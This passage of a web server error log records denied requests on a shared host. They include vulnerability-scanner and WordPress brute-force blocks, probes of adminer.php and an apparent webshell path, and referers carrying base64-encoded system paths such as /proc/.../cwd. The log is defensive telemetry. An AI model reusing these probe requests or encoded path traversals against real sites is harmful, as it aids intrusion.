https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:19:05.274405 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:19:05.455817 2026] [security2:error] [pid 648189:tid 648478] [client 47.79.201.25:56044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.201.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3zeVWSojQL4F7upKB2CAAAAPw"], referer: https://www.google.com/ [Sat Jun 13 18:19:05.573443 2026] [security2:error] [pid 648189:tid 648275] [remote 17.246.19.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zeVWSojQL4F7upKB2CwAA1zU"] [Sat Jun 13 18:19:05.591475 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.55:52681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:05.591761 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.55:52681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:05.624823 2026] [security2:error] [pid 648189:tid 648463] [client 189.217.192.30:50247] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeVWSojQL4F7upKB2EwAAAO0"] [Sat Jun 13 18:19:05.627294 2026] [security2:error] [pid 648189:tid 648463] [client 189.217.192.30:50247] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeVWSojQL4F7upKB2EwAAAO0"] [Sat Jun 13 18:19:05.634584 2026] [security2:error] [pid 648189:tid 648259] [remote 74.7.242.16:33726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zeVWSojQL4F7upKB2FAAA3CU"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:19:05.721875 2026] [security2:error] [pid 648189:tid 648341] [remote 17.22.237.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zeVWSojQL4F7upKB2GQAA4nY"] [Sat Jun 13 18:19:05.827254 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:05.827648 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:05.831690 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.66:37264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:05.831950 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.66:37264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:05.873304 2026] [security2:error] [pid 648189:tid 648357] [client 210.217.96.217:50691] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeVWSojQL4F7upKB2JAAAAIk"] [Sat Jun 13 18:19:05.873430 2026] [security2:error] [pid 648189:tid 648357] [client 210.217.96.217:50691] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeVWSojQL4F7upKB2JAAAAIk"] [Sat Jun 13 18:19:06.059042 2026] [security2:error] [pid 648189:tid 648454] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug34304.phpt"] [unique_id "ai3zelWSojQL4F7upKB2MAAAAOg"] [Sat Jun 13 18:19:06.089356 2026] [security2:error] [pid 648189:tid 648408] [client 189.217.192.30:50248] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3zelWSojQL4F7upKB2MQAAALs"] [Sat Jun 13 18:19:06.089503 2026] [security2:error] [pid 648189:tid 648408] [client 189.217.192.30:50248] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3zelWSojQL4F7upKB2MQAAALs"] [Sat Jun 13 18:19:06.356370 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:19:06.356771 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:19:06.672673 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.96:56887] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:06.673126 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.96:56887] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:06.765007 2026] [security2:error] [pid 648189:tid 648272] [remote 17.241.75.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zelWSojQL4F7upKB2TgAAkjI"] [Sat Jun 13 18:19:06.889156 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:06.889603 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:06.900047 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.44:46795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:06.900743 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.44:46795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:07.174722 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.83:25596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:07.175145 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.83:25596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:07.384615 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:19:07.385075 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:19:07.507856 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.88:58614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:07.508120 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.88:58614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:07.764208 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.89:61226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:07.764466 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.89:61226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:07.938474 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:07.938953 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:07.942697 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.89:61236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:07.943132 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.89:61236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:08.128841 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.7:52771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:08.129141 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.7:52771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:08.134323 2026] [security2:error] [pid 648189:tid 648376] [client 185.177.72.9:58290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app/api/bzycs.php"] [unique_id "ai3zfFWSojQL4F7upKB2hgAAAJw"] [Sat Jun 13 18:19:08.473829 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:19:08.474112 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:19:08.943222 2026] [access_compat:error] [pid 648189:tid 648291] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:08.943690 2026] [access_compat:error] [pid 648189:tid 648291] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:08.981925 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:08.982375 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 